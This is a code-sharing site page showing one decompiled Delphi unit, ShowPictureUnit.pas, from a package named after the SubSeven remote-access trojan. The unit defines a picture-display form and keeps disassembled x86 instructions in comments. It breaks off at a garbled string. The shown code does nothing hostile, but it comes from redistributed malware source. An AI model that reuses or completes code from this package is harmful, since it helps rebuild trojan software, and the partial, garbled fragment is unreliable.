Category

Development Platform
Home > SourceCode/Document > Internet-Socket-Network > Remote Control > View Code
ShowPictureUnit.pas
Package: subseven_src.zip　[view]
Upload User: gdszzsp
Upload Date: 2007-01-08
Package Size: 621k
Code Size: 6k
Category:

Remote Control

Development Platform:

Delphi

ShowPictureUnit.pas：Code Content
  1. unit ShowPictureUnit;
  3. interface
  5. uses
  6.   Windows, Messages, SysUtils, Classes, Graphics,
  7.   Controls, Forms, Dialogs, ExtCtrls;
  9. type
  10.   TfrmPicture=class(TForm)
  11.     pnPic: TPanel;
  12.     imgPic: TImage;
  13.     procedure FormClose(Sender: TObject; var Action: TCloseAction);
  14.     procedure FormCreate(Sender: TObject);
  15.     procedure FormShow(Sender: TObject);
  16.     procedure imgPicDblClick(Sender: TObject);
  17.   private
  18.     { Private declarations }
  19.   public
  20.     { Public declarations }
  21.   end ;
  23. var
  24.   frmPicture: TfrmPicture;
  27. {This file is generated by DeDe v2.34 (c) 1999 by DaFixer}
  29. implementation
  31. {$R *.DFM}
  34. procedure TfrmPicture.FormClose(Sender: TObject; var Action: TCloseAction);
  35. begin
  36. {
  37. 004B4378   33D2                   xor     edx, edx
  38. 004B437A   A1B4D74D00             mov     eax, dword ptr [$4DD7B4]
  39. 004B437F   E89C0CF9FF             call    00445020
  40. 004B4384   C3                     ret
  43. }
  44.  end ; 
  46. procedure TfrmPicture.FormCreate(Sender: TObject);
  47. begin
  48. {
  49. 004B438C   55                     push    ebp
  50. 004B438D   8BEC                   mov     ebp, esp
  51. 004B438F   6A00                   push    $00
  52. 004B4391   53                     push    ebx
  53. 004B4392   56                     push    esi
  54. 004B4393   8BD8                   mov     ebx, eax
  55. 004B4395   33C0                   xor     eax, eax
  56. 004B4397   55                     push    ebp
  58. * Possible String Reference to: "間篝